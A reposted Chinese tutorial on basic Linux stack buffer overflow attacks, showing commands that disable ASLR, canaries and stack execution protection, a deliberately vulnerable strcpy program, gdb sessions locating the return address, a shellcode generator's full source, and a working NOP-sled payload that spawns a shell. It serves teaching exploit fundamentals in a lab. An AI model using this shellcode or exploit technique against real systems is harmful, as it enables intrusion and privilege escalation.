Linux下基本棧溢出攻擊【轉】


轉自:http://blog.csdn.net/wangxiaolong_china/article/details/6844415

轉載請注明出處:http://blog.csdn.net/wangxiaolong_china

 

1.1    Linux棧溢出保護機制

基本的棧溢出攻擊,是最早產生的一種緩沖區溢出攻擊方法,它是所有其他緩沖區溢出攻擊的基礎。但是,由於這種攻擊方法產生的時間比較長,故而GCC編譯器、Linux操作系統提供了一些機制來阻止這種攻擊方法對系統產生危害。下面首先了解一下現有的用於保護堆棧的機制以及關閉相應保護機制的方法,為進一步分析基本棧溢出提供了良好的實驗環境。

1.       內存地址隨機化機制

在Ubuntu和其他基於linux內核的系統中,目前都采用內存地址隨機化的機制來初始化堆棧,這將會使得猜測具體的內存地址變得十分困難。

關閉內存地址隨機化機制的方法是:

sysctl –w kernel.randomize_va_space=0

2.       可執行程序的屏蔽保護機制

對於Federal系統,默認會執行可執行程序的屏蔽保護機制,該機制不允許執行存儲在棧中的代碼,這會使得緩沖區溢出攻擊變得無效。而Ubuntu系統中默認沒有采用這種機制。

關閉可執行程序的屏蔽保護機制的方法是:

sysctl –w kernel.exec-shield=0

3.       gcc編譯器gs驗證碼機制

gcc編譯器專門為防止緩沖區溢出而采取的保護措施,具體方法是gcc首先在緩沖區被寫入之前在buf的結束地址之后返回地址之前放入隨機的gs驗證碼,並在緩沖區寫入操作結束時檢驗該值。通常緩沖區溢出會從低地址到高地址覆寫內存,所以如果要覆寫返回地址,則需要覆寫該gs驗證碼。這樣就可以通過比較寫入前和寫入后gs驗證碼的數據,判斷是否產生溢出。

關閉gcc編譯器gs驗證碼機制的方法是:

在gcc編譯時采用-fno-stack-protector選項。

4.       ld鏈接器堆棧段不可執行機制

ld鏈接器在鏈接程序的時候,如果所有的.o文件的堆棧段都標記為不可執行,那么整個庫的堆棧段才會被標記為不可執行;相反,即使只有一個.0文件的堆棧段被標記為可執行,那么整個庫的堆棧段將被標記為可執行。檢查堆棧段可執行性的方法是:

如果是檢查ELF庫:readelf -lW $BIN | grep GNU_STACK查看是否有E標記

如果是檢查生成的.o文件:scanelf -e $BIN查看是否有X標記

ld鏈接器如果將堆棧段標記為不可執行,即使控制了eip產生了跳轉,依然會產生段錯誤。

關閉ld鏈接器不可執行機制的方法是:

在gcc編譯時采用-z execstack選項。

 

1.1   基本棧溢出攻擊原理及實驗

下面,將用一個棧溢出攻擊的例子的方式,來詳細的講解基本的棧溢出攻擊的詳細方法步驟。

在進行試驗之前,先利用上面講解的方法,將相應的棧保護機制關閉掉。

  1. root@linux:~/pentest# sysctl -w kernel.randomize_va_space=0  
  2. kernel.randomize_va_space = 0  
  3. root@linux:~/pentest# sysctl -w kernel.exec-shield=0  
  4. error: "kernel.exec-shield" is an unknown key  

代碼如下:

  1. root@linux:~/pentest# cat vulnerable.c  
  2. #include <stdio.h>  
  3. #include <string.h>  
  4.   
  5. int main(int argc, char **argv) {  
  6.       
  7.     char buffer[500];  
  8.     strcpy(buffer, argv[1]);  
  9.   
  10.     return 0;  
  11. }  

編譯源碼:

  1. root@linux:~/pentest# gcc -fno-stack-protector -z execstack -g -o vulnerable vulnerable.c  

用gdb調試該程序:

  1. root@linux:~/pentest# gdb vulnerable  
  2. GNU gdb (Ubuntu/Linaro 7.2-1ubuntu11) 7.2  
  3. Copyright (C) 2010 Free Software Foundation, Inc.  
  4. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>  
  5. This is free software: you are free to change and redistribute it.  
  6. There is NO WARRANTY, to the extent permitted by law.  Type "show copying"  
  7. and "show warranty" for details.  
  8. This GDB was configured as "i686-linux-gnu".  
  9. For bug reporting instructions, please see:  
  10. <http://www.gnu.org/software/gdb/bugs/>...  
  11. Reading symbols from /root/pentest/vulnerable...done.  
  12. (gdb) disass main  
  13. Dump of assembler code for function main:  
  14.    0x080483c4 <+0>:   push   %ebp  
  15.    0x080483c5 <+1>:   mov    %esp,%ebp  
  16.    0x080483c7 <+3>:   and    {1}xfffffff0,%esp  
  17.    0x080483ca <+6>:   sub    {1}x210,%esp  
  18.    0x080483d0 <+12>:  mov    0xc(%ebp),%eax  
  19.    0x080483d3 <+15>:  add    {1}x4,%eax  
  20.    0x080483d6 <+18>:  mov    (%eax),%eax  
  21.    0x080483d8 <+20>:  mov    %eax,0x4(%esp)  
  22.    0x080483dc <+24>:  lea    0x1c(%esp),%eax  
  23.    0x080483e0 <+28>:  mov    %eax,(%esp)  
  24.    0x080483e3 <+31>:  call   0x80482f4 <strcpy@plt>  
  25.    0x080483e8 <+36>:  mov    {1}x0,%eax  
  26.    0x080483ed <+41>:  leave    
  27.    0x080483ee <+42>:  ret      
  28. End of assembler dump.  
  29. (gdb)  

此時在調用strcpy之前,main函數棧幀結構分析如下圖所示:

根據此時的棧幀分布可知,要想控制eip的值,就必須往buffer[500]中至少填入508B的內容。

接下來我們繼續用gdb調試:

  1. (gdb) b *main+41  
  2. Breakpoint 1 at 0x80483ed: file vulnerable.c, line 11.  
  3. (gdb) r `perl -e 'print "\x41"x508'`  
  4. Starting program: /root/pentest/vulnerable `perl -e 'print "\x41"x508'`  
  5.   
  6. Breakpoint 1, main (argc=2, argv=0xbffff264) at vulnerable.c:11  
  7. 11  }  
  8. (gdb) c  
  9. Continuing.  
  10.   
  11. Program exited normally.  
  12. (gdb)  

往buffer中填入508個字符的內容,程序正常結束並退出。這說明棧並沒有溢出,填入數據量太少。可是,正如上文中我們分析的那樣,程序理論上棧溢出確實需要508個字符就可以了。問題出在哪里呢?重新分析代碼和反匯編之后的代碼,我們不難發現,問題產生的原因在於“0x080483c7 <+3>:       and    $0xfffffff0,%esp”這條語句。下面我們將繼續用gdb調試,分析一下該語句如何影響我們的溢出的。

  1. (gdb) disass main  
  2. Dump of assembler code for function main:  
  3.    0x080483c4 <+0>:   push   %ebp  
  4.    0x080483c5 <+1>:   mov    %esp,%ebp  
  5.    0x080483c7 <+3>:   and    {1}xfffffff0,%esp  
  6.    0x080483ca <+6>:   sub    {1}x210,%esp  
  7.    0x080483d0 <+12>:  mov    0xc(%ebp),%eax  
  8.    0x080483d3 <+15>:  add    {1}x4,%eax  
  9.    0x080483d6 <+18>:  mov    (%eax),%eax  
  10.    0x080483d8 <+20>:  mov    %eax,0x4(%esp)  
  11.    0x080483dc <+24>:  lea    0x1c(%esp),%eax  
  12.    0x080483e0 <+28>:  mov    %eax,(%esp)  
  13.    0x080483e3 <+31>:  call   0x80482f4 <strcpy@plt>  
  14.    0x080483e8 <+36>:  mov    {1}x0,%eax  
  15.    0x080483ed <+41>:  leave    
  16.    0x080483ee <+42>:  ret      
  17. End of assembler dump.  
  18. (gdb) b *main+3  
  19. Breakpoint 2 at 0x80483c7: file vulnerable.c, line 4.  
  20. (gdb) b *main+6  
  21. Breakpoint 3 at 0x80483ca: file vulnerable.c, line 4.  
  22. (gdb) r `perl -e 'print "\x41"x508'`  
  23. Starting program: /root/pentest/vulnerable `perl -e 'print "\x41"x508'`  
  24.   
  25. Breakpoint 2, 0x080483c7 in main (argc=2, argv=0xbffff264) at vulnerable.c:4  
  26. 4   int main(int argc, char **argv) {  
  27. (gdb) i r esp  
  28. esp            0xbffff1b8   0xbffff1b8  
  29. (gdb) c  
  30. Continuing.  
  31.   
  32. Breakpoint 3, 0x080483ca in main (argc=2, argv=0xbffff264) at vulnerable.c:4  
  33. 4   int main(int argc, char **argv) {  
  34.  (gdb) i r esp  
  35. esp            0xbffff1b0   0xbffff1b0  
  36. (gdb)  

通過調試可以看到,在執行“0x080483c7 <+3>: and    $0xfffffff0,%esp”語句之前,esp的值是“0xbffff1b8”,在執行完該語句之后,esp的值是“0xbffff1b0”。故esp的值減少了8,也就是說,要想控制eip的值,還需要多填入8個字,即需要516個字符來填充buffer。

  1. (gdb) r `perl -e 'print "\x41"x516'`  
  2. Starting program: /root/pentest/vulnerable `perl -e 'print "\x41"x516'`  
  3.   
  4. Program received signal SIGSEGV, Segmentation fault.  
  5. 0x41414141 in ?? ()  
  6. (gdb)  

可以看到溢出成功!

下面我們用gdb調試,看一些溢出的過程,具體分析就不寫了,相信熟悉gdb的話對這些調試信息會一目了然的:

  1. (gdb) b *main+41  
  2. Breakpoint 1 at 0x80483ed: file vulnerable.c, line 11.  
  3. (gdb) r `perl -e 'print "\x41"x516'`  
  4. Starting program: /root/pentest/vulnerable `perl -e 'print "\x41"x516'`  
  5.   
  6. Breakpoint 1, main (argc=0, argv=0xbffff254) at vulnerable.c:11  
  7. 11  }  
  8. (gdb) i r ebp  
  9. ebp            0xbffff1a8   0xbffff1a8  
  10. (gdb) i r esp  
  11. esp            0xbfffef90   0xbfffef90  
  12. (gdb) i r eip  
  13. eip            0x80483ed    0x80483ed <main+41>  
  14. (gdb) x/550bx $esp  
  15. 0xbfffef90: 0xac    0xef    0xff    0xbf    0xf6    0xf3    0xff    0xbf  
  16. 0xbfffef98: 0x00    0x00    0x00    0x00    0x00    0x00    0x00    0x00  
  17. 0xbfffefa0: 0xa4        0xf0        0xff        0xbf    0x08    0x00    0x00    0x00  
  18. 0xbfffefa8: 0x3c    0xd5    0x12    0x00    0x41    0x41    0x41    0x41  
  19. 0xbfffefb0: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41  
  20. 0xbfffefb8: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41  
  21. 0xbfffefc0: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41  
  22. 0xbfffefc8: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41  
  23. 0xbfffefd0: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41  
  24. 0xbfffefd8: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41  
  25. ………………………………………………………………………………………………  
  26. 0xbffff198: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41  
  27. 0xbffff1a0: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41  
  28. 0xbffff1a8: 0x41    0x41    0x41    0x41    0x41    0x41    0x41    0x41  
  29. 0xbffff1b0: 0x00    0x00    0x00    0x00    0x54    0xf2  
  30. (gdb)   
  31. (gdb) stepi  
  32. 0x080483ee in main (argc=0, argv=0xbffff254) at vulnerable.c:11  
  33. 11  }  
  34. (gdb) i r ebp  
  35. ebp            0x41414141   0x41414141  
  36. (gdb) i r esp  
  37. esp            0xbffff1ac   0xbffff1ac  
  38. (gdb) i r eip  
  39. eip            0x80483ee    0x80483ee <main+42>  
  40. (gdb) x/10bx $esp  
  41. 0xbffff1ac: 0x41    0x41    0x41    0x41    0x00    0x00    0x00    0x00  
  42. 0xbffff1b4: 0x54    0xf2  
  43. (gdb) stepi  
  44. 0x41414141 in ?? ()  
  45. (gdb) i r eip  
  46. eip            0x41414141   0x41414141  
  47. (gdb)  

既然我們已經找到eip返回地址的位置,那么就可以覆寫返回地址,控制程序的執行流程。

接下來,首先需要一段shellcode,關於如何編寫shellcode的問題,我們留到下一節講解,這一節中我們使用一個從網上找到的shellcode生成程序來生成一段shellcode。Shellcode生成程序源碼為:

  1. /* 
  2. [] Shellcode Generator null byte free. [] 
  3. [] Author: certaindeath            [] 
  4. [] Site: certaindeath.netii.net (at the moment under construction)   [] 
  5. [] This program generates a shellcode which uses the stack to store the command (and its arguments).   [] 
  6. [] Afterwords it executes the command with the system call "execve". [] 
  7. [] The code is a bit knotty, so if you want to understand how it works, I've added an example of assembly at the end.   [] 
  8. */  
  9. #include <stdio.h>  
  10. #include <stdlib.h>  
  11. #include <string.h>  
  12. #include <unistd.h>  
  13. #include <linux/types.h>  
  14. #define SETRUID 0 //set this to 1 if you want the shellcode to do setreuid(0,0) before the shell command  
  15.   
  16. void print_c(__u8*,int);  
  17. void push_shc(__u8*, char*, int*);  
  18. int main(int argc, char *argv[]){  
  19.     char cmd[255], *a;  
  20.     FILE *c;  
  21.     int k=0, totl=(SETRUID ? 32:22), b,b1, i, tmp=0, shp=2;  
  22.     __u8 *shc,start[2]={0x31,0xc0}, end[16]={0xb0,0x0b,0x89,0xf3,0x89,0xe1,0x31,0xd2,0xcd,0x80,0xb0,0x01,0x31,0xdb,0xcd,0x80}, struid[10]={0xb0,0x46,0x31,0xdb,0x31,0xc9,0xcd,0x80,0x31,0xc0};  
  23.   
  24.     if(argc<2){  
  25.         printf(" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n"  
  26.                "|      Shellcode Generator      |\n"  
  27.                "|        by certaindeath        |\n"  
  28.                "|                               |\n"  
  29.                "|  Usage: ./generator <cmd>     |\n"  
  30.                " ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n");  
  31.         _exit(1);  
  32.     }  
  33.     a=(char *)malloc((9+strlen(argv[1]))*sizeof(char));  
  34.   
  35.     //find the command path  
  36.     a[0]=0;  
  37.     strcat(a, "whereis ");  
  38.     strcat(a, argv[1]);  
  39.     c=popen(a, "r");  
  40.     while(((cmd[0]=fgetc(c))!=' ')&&(!feof(c)));  
  41.     while(((cmd[k++]=fgetc(c))!=' ')&&(!feof(c)));  
  42.     cmd[--k]=0;  
  43.       
  44.     if(k==0){  
  45.         printf("No executables found for the command \"%s\".\n", argv[1]);  
  46.         _exit(1);  
  47.     }  
  48.   
  49.     if(strlen(cmd)>254){  
  50.         printf("The lenght of the command path can't be over 254 bye.\n");  
  51.         _exit(1);  
  52.     }  
  53.   
  54.     for(i=2;i<argc;i++)  
  55.         if(strlen(argv[i])>254){  
  56.             printf("The lenght of each command argument can't be over 254 byte.\n");  
  57.             _exit(1);  
  58.         }  
  59.     //work out the final shellcode lenght  
  60.     b=(k%2);  
  61.     b1=(b==1) ? (((k-1)/2)%2) : ((k/2)%2);  
  62.     totl+=(6+5*((k-(k%4))/4)+4*b1+7*b);  
  63.     for(i=2; i<argc;i++){  
  64.         k=strlen(argv[i]);  
  65.         b=(k%2);  
  66.         b1=(b==1) ? (((k-1)/2)%2) : ((k/2)%2);  
  67.         totl+=(6+5*((k-(k%4))/4)+4*b1+7*b);  
  68.     }  
  69.     totl+=4*(argc-2);  
  70.     printf("Shellcode lenght: %i\n", totl);  
  71.   
  72.     //build the shellcode  
  73.     shc=(__u8 *)malloc((totl+1)*sizeof(__u8));  
  74.     memcpy(shc, start, 2);  
  75.     if(SETRUID){  
  76.         memcpy(shc+shp, struid, 10);  
  77.         shp+=10;  
  78.     }  
  79.     if(argc>2)  
  80.         push_shc(shc, argv[argc-1], &shp);  
  81.     else  
  82.         push_shc(shc, cmd, &shp);  
  83.     memset(shc+(shp++), 0x89, 1);  
  84.     memset(shc+(shp++), 0xe6, 1);  
  85.     if(argc>2){  
  86.         for(i=argc-2;i>1;i--)  
  87.             push_shc(shc, argv[i], &shp);  
  88.         push_shc(shc, cmd, &shp);  
  89.     }  
  90.     memset(shc+(shp++), 0x50, 1);  
  91.     memset(shc+(shp++), 0x56, 1);  
  92.     if(argc>2){  
  93.         for(i=argc-2;i>1;i--){  
  94.             memset(shc+(shp++), 0x83, 1);  
  95.             memset(shc+(shp++), 0xee, 1);  
  96.             memset(shc+(shp++), strlen(argv[i])+1, 1);  
  97.             memset(shc+(shp++), 0x56, 1);  
  98.         }  
  99.         memset(shc+(shp++), 0x83, 1);  
  100.         memset(shc+(shp++), 0xee, 1);  
  101.         memset(shc+(shp++), strlen(cmd)+1, 1);  
  102.         memset(shc+(shp++), 0x56, 1);  
  103.     }  
  104.     memcpy(shc+shp, end, 16);  
  105.     print_c(shc,totl);  
  106.     return 0;  
  107. }  
  108. void print_c(__u8 *s,int l){  
  109.     int k;  
  110.     for(k=0;k<l;k++){  
  111.         printf("\\x%.2x", s[k]);  
  112.         if(((k+1)%8)==0) printf("\n");  
  113.     }  
  114.     printf("\n");  
  115. }  
  116. void push_shc(__u8 *out, char *str, int *sp){  
  117.     int i=strlen(str), k, b, b1, tmp=i;  
  118.     __u8 pushb_0[6]={0x83,0xec,0x01,0x88,0x04,0x24},pushb[6]={0x83,0xec,0x01,0xc6,0x04,0x24};  
  119.     memcpy(out+(*sp), pushb_0, 6);  
  120.     *sp+=6;  
  121.     for(k=0;k<((i-(i%4))/4);k++){  
  122.         memset(out+((*sp)++), 0x68, 1);  
  123.         tmp-=4;  
  124.         memcpy(out+(*sp), str+tmp, 4);  
  125.         *sp+=4;  
  126.     }  
  127.     b=(i%2);  
  128.     b1=(b==1) ? (((i-1)/2)%2) : ((i/2)%2);  
  129.     if(b1){  
  130.         memset(out+((*sp)++), 0x66, 1);  
  131.         memset(out+((*sp)++), 0x68, 1);  
  132.         tmp-=2;  
  133.         memcpy(out+(*sp), str+tmp, 2);  
  134.         *sp+=2;  
  135.     }  
  136.     if(b){  
  137.         memcpy(out+(*sp), pushb, 6);  
  138.         *sp+=6;  
  139.         memcpy(out+((*sp)++), str+(--tmp), 1);  
  140.     }  
  141. }  
  142. /* 
  143. Here is the assembly code of a shellcode which executes the command "ls -l /dev". 
  144. This is the method used by the shellcode generator. 
  145.  
  146.     .global _start 
  147. _start: 
  148.     xorl %eax, %eax         ;clear eax 
  149.  
  150.     subl $1, %esp           ; "/dev" pushed into the stack with a null byte at the end 
  151.     movb %al, (%esp) 
  152.     push {1}x7665642f 
  153.  
  154.     movl %esp, %esi         ;esp(address of "/dev") is saved in esi 
  155.  
  156.     subl $1, %esp           ;"-l" pushed into the stack with a null byte at the end 
  157.     movb %al, (%esp) 
  158.     pushw {1}x6c2d 
  159.  
  160.     subl $1, %esp           ;"/bin/ls" pushed into the stack with a null byte at the end 
  161.     movb %al, (%esp) 
  162.     push {1}x736c2f6e 
  163.     pushw {1}x6962 
  164.     subl $1, %esp 
  165.     movb {1}x2f, (%esp) 
  166.  
  167.                     ;now the vector {"/bin/ls", "-l", "/dev", NULL} will be created into the stack 
  168.  
  169.     push %eax           ;the NULL pointer pushed into the stack 
  170.     push %esi           ;the address of "/dev" pushed into the stack 
  171.  
  172.     subl $3, %esi           ;the lenght of "-l"(with a null byte) is subtracted from the address of "/dev" 
  173.     push %esi           ;to find the address of "-l" and then push it into the stack 
  174.  
  175.     subl $8, %esi           ;the same thing is done with the address of "/bin/ls" 
  176.     push %esi 
  177.  
  178.     movb $11, %al           ;finally the system call execve("/bin/ls", {"/bin/ls", "-l", "/dev", NULL}, 0) 
  179.     movl %esi, %ebx         ;is executed 
  180.     movl %esp, %ecx 
  181.     xor %edx, %edx 
  182.     int {1}x80 
  183.  
  184.     movb $1, %al            ;_exit(0); 
  185.     xor %ebx, %ebx 
  186.     int {1}x80 
  187. */  

使用方法是:

  1. root@linux:~/pentest# gcc -o shellcode_generator shellcode_generator.c  
  2. root@linux:~/pentest# ./shellcode_generator /bin/bash  
  3. Shellcode lenght: 45  
  4. \x31\xc0\x83\xec\x01\x88\x04\x24  
  5. \x68\x62\x61\x73\x68\x68\x62\x69  
  6. \x6e\x2f\x83\xec\x01\xc6\x04\x24  
  7. \x2f\x89\xe6\x50\x56\xb0\x0b\x89  
  8. \xf3\x89\xe1\x31\xd2\xcd\x80\xb0  
  9. \x01\x31\xdb\xcd\x80  
  10. root@linux:~/pentest#  

現在,提供一種填充buffer覆寫返回地址的方案(不唯一,只提供一種可行的方案):

#################################################################

“\x90” * 431  +  shellcode(45) +  shellcode地址(4字節) * 10  ==  516B

#################################################################

其中,“\x90”代表NOP空指令,故shellcode地址可以替換為自buffer起始地址和shellcode起始地址之間的任意一個地址。

到目前為止,我們已經構造出了我們的溢出代碼,如下:

  1. (gdb) run `perl -e 'print   
  2.   
  3. "\x90"x431,"\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80","\xac\xef\xff\xbf"x10'`  
  4.   
  5. The program being debugged has beenstarted already.  
  6.   
  7. Start it from the beginning? (y or n)y  
  8.   
  9. Starting program:/root/pentest/vulnerable `perl -e 'print  
  10.   
  11. "\x90"x431,"\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x83\xec\x01\xc6  
  12.   
  13. \x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80",  
  14.   
  15. "\xac\xef\xff\xbf"x10'`  
  16.   
  17. process3724 is executing new program: /bin/bash  
  18.   
  19. root@linux:/root/pentest# exit  
  20.   
  21. exit  
  22.   
  23. Program exited normally.  
  24.   
  25. (gdb)  

可以看到,我們的溢出代碼成功的執行了shellcode,並獲得了相應的shell。

到此為止,棧溢出攻擊成功。

 

附:由於%gs驗證碼的存在,在開啟%gs校驗時,上面的方案只能在gdb調試環境下成功完成棧溢出。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM